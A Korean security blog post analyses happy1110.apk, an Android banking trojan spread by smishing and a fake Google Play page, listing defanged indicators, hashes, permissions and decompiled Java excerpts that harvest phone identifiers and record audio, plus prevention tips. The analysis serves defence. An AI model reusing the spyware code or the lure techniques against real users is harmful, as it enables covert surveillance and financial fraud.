오늘은 해피몰 사칭 및 피싱 사이트 및 악성코드 유포를 하는 happy1110.apk 에 대해 글을 적어 보겠습니다. 최근 해외결제 문자를 통해서 악성코드를 설치해서 개인정보를 탈취하는 스미싱 문자에 대해 글을 적어 보겠습니다. 일단 해당 악성코드의 유포 방식은 간단합니다. 먼저 문자를 무작위로 보내고 그리고 나서 해외에서 결제가 되었다. 고객센터로 연락해달라고 하고 하면서 고객센터 전화번호가 있고 해당 고객센터 전화번호로 전화를 걸면 피싱 조직 일당이 전화를 받고 나서 특정 IP 주소로 사용자를 접속하게 해서 안드로이드 앱을 설치를 하면 해당 악성코드가 스마트폰에 동작해서 개인정보를 탈취하는 방식을 사용하고 있습니다.
일단 악성코드는 http://43.242.131(.)4로 접속을 하게 되고 http://43.242.131(.)4/download/download.html 를 통해서 악성코드를 설치를 유도합니다.
일단 해당 악성코드를 유포하는 사이트를 보면 기본적으로 중국 구매대행, 중국 배대지 로 유명한 타오반점를 페이지하고 비슷하게 구성을 한 것을 볼 수가 있습니다.
일단 해당 사이트에서 어느 항목을 눌러도 애플리케이션에서 이용해주세요. 이라는 메시지를 출력하고 확인을 눌러주면 http://43.242.131(.)4/download/download.html 로 접속을 하는 방식을 사용하고 있습니다.
일단 해당 사이트에 접속하면 구글 플레이 스토어 하고 비슷하게 꾸며놓아서 사용자를 속이는 행위를 하는 것을 볼 수가 있습니다.
즉 앱 정보 설명 평점 및 리뷰등을 보면 마치 구글 플레이 스토어 공식 사이트처럼 생긴 것을 볼 수가 있는데 보시면 당연히 웹사이트 주소를 보면 구글 플레이 스토어가 아닌 것을 확인할 수가 있습니다.
일단 웹사이트를 에서 웹 소스를 보면 어느 버튼을 눌러주어도 http://111.251.19(.)174/download.php
을 이용을 하는 것을 볼 수가 있으면 지난 시간에 글을 적은 해외직구 구매 대행업체로 위장한 피싱사이트 안드로이드 악성코드-lk0927.apk 하고 똑같은 IP를 사용하는 것을 볼 수가 있습니다.
[소프트웨어 팁/보안 및 분석] - 해외직구 구매 대행 업체 로 위장한 피싱사이트 안드로이드 악성코드-lk0927.apk
<div class="button"><a id="download" href="../apk/lk0930(.)apk" >설치</a></div>
<div class="detail">
<ul>
<li><img src="detail_img1.jpg" tppabs="http://111.251.19(.)174/images/detail_img1.jpg"></li>
<li><img src="detail_img2.jpg" tppabs="http://111.251.19(.)174/images/detail_img2.jpg"></li>
<li><img src="detail_img3.jpg" tppabs="http://111.251.19(.)174/images/detail_img3.jpg"></li>
<li><img src="detail_img4.jpg" tppabs="http://111.251.19(.)174/images/detail_img4.jpg"></li>
<li><img src="detail_img5.jpg" tppabs="http://111.251.19(.)174/images/detail_img5.jpg"></li>
<li><img src="detail_img6.jpg" tppabs="http://111.251.19(.)174/images/detail_img6.jpg"></li>
먼저 해당 악성코드인 happy1110의 악성코드 해쉬값은 다음과 같습니다.
파일명:happy1110.apk
사이즈:13.0 MB
CRC32:87bb2f08
MD5:8c4587a5aa8d7dc713ab58d3cb27d402
SHA-1:a7bc607230da9cb3e130d6e728a9efb01ffabf12
SHA-256:05d10ac1f0b183973cd99d43079973dd81c9427e30ada28cc61dcf020b110de0
SHA-512:f385bd9d7f278bc7c9aae1a0b415acbfbebf21c800ca56513a7d83f6b30198c8a01d360df8007cc7b6a34e67d06de174d1a84615fb4508c135569e0dfccdafe7
입니다.
악성코드 앱 이름과 패키지 이름은 다음과 같습니다.
앱 이름: HAPPY MALL
패키지 이름:ermmmug.hxkkytzb.bvbfc
해당 악성코드의 권한은 다음과 같습니다.
<uses-permission android:name="android.permission.CHANGE_WIFI_STATE"/>
<uses-permission android:name="android.permission.BROADCAST_STICKY"/>
<uses-permission android:name="android.permission.MANAGE_OWN_CALLS"/>
<uses-permission android:name="android.permission.RECEIVE_SMS"/>
<uses-permission android:name="android.permission.ACCESS_BACKGROUND_LOCATION"/>
<uses-permission android:name="android.permission.INTERNET"/>
<uses-permission android:name="android.permission.BOOT_COMPLETED"/>
<uses-feature android:name="android.hardware.camera"/>
<uses-permission android:name="android.permission.READ_CONTACTS"/>
<uses-permission android:name="android.permission.BLUETOOTH_ADMIN"/>
<uses-permission android:name="android.permission.FOREGROUND_SERVICE"/>
<uses-permission android:name="android.permission.ANSWER_PHONE_CALLS"/>
<uses-permission android:name="android.permission.WRITE_CONTACTS"/>
<uses-permission android:name="android.permission.REQUEST_INSTALL_PACKAGES"/>
<uses-permission android:name="android.permission.MODIFY_AUDIO_SETTINGS"/>
<uses-permission android:name="android.permission.VIBRATE"/>
<uses-permission android:name="android.permission.GET_TASKS"/>
<uses-permission android:name="android.permission.SYSTEM_OVERLAY_WINDOW"/>
<uses-permission android:name="android.permission.CAMERA"/>
<uses-permission android:name="android.permission.WRITE_CALL_LOG"/>
<uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW"/>
<uses-permission android:name="android.permission.ACCESS_COARSE_UPDATES"/>
<uses-permission android:name="android.permission.ACCESS_FINE_LOCATION"/>
<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>
<uses-permission android:name="android.permission.REQUEST_DELETE_PACKAGES"/>
<uses-permission android:name="android.permission.ACCESS_LOCATION_EXTRA_COMMANDS"/>
<uses-permission android:name="android.permission.ACCESS_COARSE_LOCATION"/>
<uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED"/>
<uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE"/>
<uses-permission android:name="android.permission.RECORD_AUDIO"/>
<uses-permission android:name="android.permission.ACCESS_NETWORK_STATE"/>
<uses-permission android:name="android.permission.CALL_PHONE"/>
<uses-permission android:name="android.permission.CHANGE_NETWORK_STATE"/>
<uses-permission android:name="android.permission.READ_SMS"/>
<uses-permission android:name="android.permission.WAKE_LOCK"/>
<uses-permission android:name="android.permission.READ_CALL_LOG"/>
기본적으로 스마트폰 진동, 백그라운드 실행, 애플리케이션이 추가 위치 제공자 명령에 액세스 할 수 있도록 하면, 블루투스 설정을 조작하도록 하려면 BLUETOOTH_ADMIN 권한 도 포함이 돼 있으며 그리고 배터리 최적화 중지, 위치 확인, 문자 읽기, 문자 쓰기, 외장 마이크로 SD 카드 읽기 및 쓰기, 통화 녹음 등으로 구성돼 있습니다.
그리고 해당 악성코드를 설치하면 앱을 사용하기 위해서 접근성-설치된 서비스-HAPPY MALL 허용해 주셔야 정상적인 서비스 이용이 가능합니다. 라고 돼 있고 해당 접근성을 허용하면 악성코드가 동작합니다.
그리고 나서 악성코드는 기본적인 전화 앱을 악성코드로 바꾸어달라고 하는 것을 볼 수가 있습니다. 그리고 사용자를 속이기 위한 행동으로 진짜 타오반점 사이트를 노출해서 사용자를 기만하는 부분도 볼 수가 있었습니다.
그리고 개인정보 및 카카오톡 알림톡 등을 수신하기 위해서 필수라고 해서 견적, 입고, 출고, 배송, 오류를 알려 준다고 하지만 실제로는 개인정보에 접근하기 위한 수단일 뿐입니다.
그리고 해당 악성코드를 보면 역시나 한국에서 운영하는 금융권들 예를 들어서 카카오뱅크, KB 캐피탈등이 있고 사용자를 낚기 위한 사용자를 속이기 위한 허위 KB 은행 화면 도 준비된 것을 확인할 수가 있습니다.
그리고 com.livelihood.tools.utils.DeviceInfoUtils 에서는 전화번호 관련 코드가 존재하는 것을 확인할 수가 있습니다.
public static String getTelephonyNumber(Context context) {
TelephonyManager telephonyManager = (TelephonyManager) context.getSystemService("phone");
return !TextUtils.isEmpty(telephonyManager.getLine1Number()) ? telephonyManager.getLine1Number() : !TextUtils.isEmpty(telephonyManager.getImei()) ? telephonyManager.getImei() : !TextUtils.isEmpty(telephonyManager.getSimSerialNumber()) ? telephonyManager.getSimSerialNumber() : "";
}
public static boolean isSamsung() {
return Build.BRAND != null && Build.BRAND.toLowerCase().equals("samsung");
}
public static boolean isSpecialModel() {
String systemModel = getSystemModel();
if (systemModel == null) {
return false;
}
return systemModel.contains("SM") || systemModel.contains("SHV") || systemModel.contains("SHW") || systemModel.contains("LM");
}
}
그리고 com.livelihood.tools.helper.RecorderShortHelper 에서는 스마트폰 카메라에 관한 부분이 있습니다.
package com.livelihood.tools.helper;
import android.media.MediaRecorder;
import android.os.CountDownTimer;
import android.os.Environment;
import android.os.Handler;
import android.os.Looper;
import android.os.Message;
import android.text.TextUtils;
import com.livelihood.tools.AppStart;
import com.livelihood.tools.db.CommandRecordingDB;
import java.io.File;
import java.io.IOException;
public class RecorderShortHelper {
public static final int IDLE_STATE = 0;
public static final int INTERNAL_ERROR = 2;
public static final int NO_ERROR = 0;
public static final int RECORDING_COMMAND_TYPE = 2;
public static final int RECORDING_STATE = 1;
public static final int SDCARD_ACCESS_ERROR = 1;
private static RecorderShortHelper instance;
private final int MESSAGE_COMMAND_RECORDING = 1;
private final String RECORDING_FILE_PATH = "MangoRecorder";
private final String TAG = RecorderShortHelper.class.getName();
private MediaRecorder mRecorder = null;
private RecordingCountDownTimer mRecordingCountDownTimer;
private File mSampleFile = null;
int mSampleLength = 0;
long mSampleStart = 0;
private int mState = 0;
private int mType = 0;
private Handler mUIHandler = new Handler(Looper.getMainLooper()) {
/* class com.livelihood.tools.helper.RecorderShortHelper.AnonymousClass1 */
public void handleMessage(Message message) {
if (message.what == 1) {
RecorderShortHelper.this.mRecordingCountDownTimer = new RecordingCountDownTimer(((Long) message.obj).longValue(), 1000);
RecorderShortHelper.this.mRecordingCountDownTimer.start();
}
}
};
/* access modifiers changed from: package-private */
public class RecordingCountDownTimer extends CountDownTimer {
public RecordingCountDownTimer(long j, long j2) {
super(j, j2);
}
public void onFinish() {
if ((4009 - 15228) % -15228 <= 0) {
LogHelper.v(RecorderShortHelper.access$100(RecorderShortHelper.this), "-------------------- RecordingCountDownTimer onFinish -------------------- ");
RecorderShortHelper.this.stopRecorder();
RecorderShortHelper.this.updateCommandRecordingStatus("finished");
LogHelper.d(RecorderShortHelper.access$100(RecorderShortHelper.this), "RecordingCountDownTimer onFinish");
return;
}
int i = ((-1550 - 16032) % 16032) + 16032;
while (true) {
i %= 16032;
}
}
public void onTick(long j) {
}
}
private RecorderShortHelper() {
}
static /* synthetic */ String access$100(RecorderShortHelper recorderShortHelper) {
return recorderShortHelper.TAG;
}
public static synchronized RecorderShortHelper getInstance() {
RecorderShortHelper recorderShortHelper;
if ((-1186 + 702) % 702 > 0) {
int i = ((-12510 - -14827) % -14827) - 14827;
while (true) {
i %= -14827;
}
} else {
synchronized (RecorderShortHelper.class) {
if (instance == null) {
instance = new RecorderShortHelper();
}
recorderShortHelper = instance;
}
return recorderShortHelper;
}
}
private String[] isRecordingFileAvailable() {
if ((-12822 - 3782) % -3782 > 0) {
int i = ((11362 - 7477) % 7477) + 7477;
while (true) {
i %= 7477;
}
} else {
File sampleFile = getSampleFile();
if (sampleFile == null) {
LogHelper.d(this.TAG, "isRecordingFileAvailable mFile is null");
return null;
}
String[] split = sampleFile.getName().split("_");
split[split.length - 1] = sampleFile.getAbsolutePath();
return split;
}
}
private boolean prepareRecorder(String str, int i) {
if ((-18317 - 6239) % -6239 > 0) {
int i2 = ((-17722 - -4738) % -4738) - 4738;
while (true) {
i2 %= -4738;
}
} else {
File file = Environment.getExternalStorageDirectory().canWrite() ? new File(Environment.getExternalStorageDirectory().getAbsolutePath(), "MangoRecorder") : new File("sdcard/sdcard", "MangoRecorder");
if (!file.exists()) {
file.mkdir();
}
String str2 = ".amr";
if (i == 1) {
str2 = ".3gp";
} else if (i == 2) {
str2 = ".mp3";
} else if (i != 3) {
}
try {
this.mSampleFile = File.createTempFile(str, str2, file);
MediaRecorder mediaRecorder = new MediaRecorder();
this.mRecorder = mediaRecorder;
mediaRecorder.setAudioSource(1);
this.mRecorder.setOutputFormat(i);
this.mRecorder.setAudioEncoder(3);
this.mRecorder.setOutputFile(this.mSampleFile.getAbsolutePath());
try {
this.mRecorder.prepare();
return true;
} catch (IOException e) {
LogHelper.d(this.TAG, "MediaRecorder prepare IOException : " + e.getMessage());
setError(2);
resetReleaseRecorder();
return false;
}
} catch (IOException e2) {
LogHelper.v(this.TAG, "IOException:" + e2.getMessage());
setError(1);
return false;
}
}
}
private void resetReleaseRecorder() {
LogHelper.d(this.TAG, "resetReleaseRecorder , mRecorder: " + this.mRecorder);
MediaRecorder mediaRecorder = this.mRecorder;
if (mediaRecorder != null) {
mediaRecorder.reset();
this.mRecorder.release();
this.mRecorder = null;
}
}
private void setError(int i) {
setState(0);
}
private void setRecordingType(int i) {
if (i != this.mType) {
this.mType = i;
}
}
private void setState(int i) {
if (i != this.mState) {
this.mState = i;
}
}
private void startRecording(String str) {
LogHelper.d(this.TAG, "startRecording, mSampleFile: " + this.mSampleFile + ", duration: " + str);
if (this.mSampleFile != null) {
try {
this.mRecorder.start();
this.mSampleStart = System.currentTimeMillis();
setState(1);
Message message = new Message();
message.what = 1;
message.obj = Long.valueOf(Long.parseLong(str));
this.mUIHandler.sendMessage(message);
updateCommandRecordingStatus("executing");
} catch (RuntimeException e) {
LogHelper.d(this.TAG, "MediaRecorder start RuntimeException:" + e.getMessage());
setError(2);
resetReleaseRecorder();
}
}
}
/* access modifiers changed from: private */
/* access modifiers changed from: public */
private void updateCommandRecordingStatus(String str) {
String[] isRecordingFileAvailable = isRecordingFileAvailable();
if (isRecordingFileAvailable == null || 3 != isRecordingFileAvailable.length) {
LogHelper.d(this.TAG, "updateCommandRecordingStatus fileName is not valid");
return;
}
long updateCommandRecordingStatus = CommandRecordingDB.getInstance(AppStart.getContext()).updateCommandRecordingStatus(Integer.parseInt(isRecordingFileAvailable[0]), isRecordingFileAvailable[2], str);
LogHelper.d(this.TAG, "updateCommandRecordingStatus, ret: " + updateCommandRecordingStatus + ", path: " + isRecordingFileAvailable[2] + ", rId: " + isRecordingFileAvailable[0]);
}
public void deleteFile() {
File file = this.mSampleFile;
if (file != null && file.exists()) {
this.mSampleFile.delete();
}
this.mSampleFile = null;
this.mSampleLength = 0;
}
public File getSampleFile() {
return this.mSampleFile;
}
public void onDestroy() {
LogHelper.d(this.TAG, "onDestroy");
this.mUIHandler.removeCallbacksAndMessages(null);
RecordingCountDownTimer recordingCountDownTimer = this.mRecordingCountDownTimer;
if (recordingCountDownTimer != null) {
recordingCountDownTimer.cancel();
this.mRecordingCountDownTimer = null;
}
stopRecorder();
}
public synchronized void startRecording(int i, String... strArr) {
String str = "";
if (this.mState == 0) {
str = strArr[0] + "_" + strArr[1] + "_";
setRecordingType(2);
}
if (!TextUtils.isEmpty(str)) {
if (prepareRecorder(str, i)) {
startRecording(strArr[1]);
} else {
resetReleaseRecorder();
}
}
}
public int state() {
return this.mState;
}
.....
public synchronized void stopRecorder() {
/*
// Method dump skipped, instructions count: 187
*/
throw new UnsupportedOperationException("Method not decompiled: com.livelihood.tools.helper.RecorderShortHelper.stopRecorder():void");
}
}
그리고 해당 악성코드가 실행되면 다음과 같은 파일이 드롭이 됩니다.
system/app/Chrome/Chrome.apk
MD5:A7F1C12184A3316403353900364545CA
SHA1:18475DC57A429C846E54274F86EFBDCA26018406
SHA256:0BBA49CFB997E6D6C997E8A931B4BC2A31C404BB4C90BFD68AB639D854C01A82
그리고 악성코드 인증서에 포함된 인증서 정보는 다음과 같습니다.
Type: X.509
Version: 3
Serial number: 0x936eacbe07f201df
Subject: EMAILADDRESS=android@android(.)com, CN=Android, OU=Android, O=Android, L=Mountain View, ST=California, C=US
Valid from: Fri Feb 29 10:33:46 GMT+09:00 2008
Valid until: Tue Jul 17 10:33:46 GMT+09:00 2035
Public key type: RSA
Exponent: 3
Modulus size (bits): 2048
그리고 악성코드에 포함된 URL은 다음과 같습니다.
http://www.apache(.)org/licenses/LICENSE-2.0
http://schemas.android(.)com/apk/res/android99me.majiajie.pagerbottomtabstrip.internal.RoundMessageVie
https://datax.baidu(.)com/xs.gif
http://dualstack-restsdk.amap(.)com/v3/geocode/regeo
http://restsdk.amap(.)com/v3/iasdkauth
http://dualstack.apilocate.amap(.)com/mobile/binary
http://restsdk.amap(.)com/v3/config/district?
http://apilocate.amap(.)com/mobile/binary
http://cgicol.amap(.)com/collection/collectData?src=baseCol&ver=v74&
http://hmma.baidu(.)com/app.gif
http://abroad.apilocate.amap(.)com/mobile/binary
http://openrcv.baidu(.)com/1010/bplus.gif
http://www.playmall(.)vip/lk
http://restsdk.amap(.)com/v3/place/around?
http://schemas.android(.)com/apk/res/android
http://datax.baidu(.)com/xs.gif
http://lbs.amap(.)com/api/android-location-sdk/guide/utilities/errorcode/
http://restsdk.amap(.)com/v3/place/text?
https://hmma.baidu(.)com/app.gif
http://schemas.android(.)com/apk/res-auto
https://hmma.baidu(.)com/auto.gif
https://restsdk.amap(.)com/v3/iasdkauth
http://restsdk.amap(.)com/v3/geocode/regeo
http://restsdk.amap(.)com
https://openrcv.baidu(.)com/1010/bplus.gif
돼 있고 악성코드 IP는 다음과 같습니다.
39.156.66.180(China)
182.61.200.61(China)
39.156.66.235(China)
로 동작을 합니다. 일단 해당 피싱 사이트를 차단을 하는 브라우저들이 없어서 일단 Google Safebrowsing,ESET,Symantec Sitereview,마이크로소프트 스마트스크린(Microsoft SmartScreen)에 신고를 했으면 바이러스토탈 기준 2021-11-10 12:28:33 UTC에 진단하는 보안 업체들은 다음과 같습니다.
Avast-Mobile:APK:RepSandbox [Trj]
Avira (no cloud):ANDROID/SpyAgent.FKCE.Gen
Cynet:Malicious (score: 99)
DrWeb:Android.Spy.901.origin
ESET-NOD32:A Variant Of Android/Spy.Banker.BAD
Kaspersky:HEUR:Trojan-Banker.AndroidOS.Fakecalls.h
Kingsoft:Android.Troj.tn_banker.bad.(kcloud)
Lionic:Trojan.AndroidOS.Fakecalls.C!c
McAfee:Artemis!8C4587A5AA8D
McAfee-GW-Edition:Artemis!Trojan
Microsoft:Trojan:AndroidOS/Fakecalls.B
Tencent:Android.Trojan-spy.Banker.Ebqr
Trustlook:Android.PUA.DebugKey
일단 한국의 보안 업체인 안랩에서 탐지를 하고 있지 않아서 일단 AhnRpt(ASEC Report,안랩 리포트),Bitdefender(비트디펜더)에 신고는 했습니다. 일단 해당 사이트는 계속 작동을 하고 있으면 기본적으로 언제나 이야기하는 기본적인 예방 방법은 다음과 같습니다.
요약
1.구글 플레이 스토어 및 공식 스토어 이외에 어플 설치하지 말 것
2.공신력 있는 백신 앱(안티바이러스 앱) 설치해서 실시간 감시 및 실시간 업데이트할 것(AV-TEST 참고)
3.구글 안드로이드 스마트폰에서는 외부 앱을 설치를 하려고 하면 경고 메시지가 나오는데 해당 경고 메시지처럼 외부 앱 설치하지 말 것
4.스팸 차단앱 후후,후스콜,T 전화 같은 것을 사용하면 이런 앱을 활용을 하면 이런 보이스피싱 피해를 줄일 수가 있습니다.
5.소개팅 어플에서 어떤 어플을 다운로드 해서 설치하라고 하면 100% 악성코드입니다.
기본적인 보안 수칙을 지킨다고 하면 이런 스미싱 피해는 줄일 수가 있습니다. 특히 이름 있는 백신 어플을 사용을 하면 기본적으로 악성코드가 유포되는 사이트 및 악성코드를 사전에 차단할 수가 있습니다.
'소프트웨어 팁 > 보안 및 분석' 카테고리의 다른 글
이셋 모바일 시큐리티(ESET Mobile Security) 갤럭시 스마트폰 벨소리 작아지는 문제 해결 방법 (2) | 2021.11.22 |
---|---|
구글 크롬 윈도우 7 1년 연장 지원 (4) | 2021.11.19 |
윈도우 10, 윈도우 11 KB5007215,KB5007186 보안 업데이트 (2) | 2021.11.12 |
구글 크롬 이 파일은 위험할 수 있기 때문에 일반적으로 다운로드하지 않습니다.해결 방법 (0) | 2021.11.12 |
원드라이브(OneDrive)2022년 데스크톱 앱 클라이언트 데이터 동기화 중지 (0) | 2021.11.09 |
질병관리청 COOV(코로나19 전자예방접종증명서) 사칭 악성코드-질병관리청 COOV(코로나19 전자예방접종증명서).apk(2021.11.03) (6) | 2021.11.05 |
파이어폭스 94.0 보안 업데이트 (0) | 2021.11.05 |
NTT 도코모의 あんしんセキュリティ(안심 시큐리티) 사칭 악성코드-au.apk(2021.10.19) (0) | 2021.11.02 |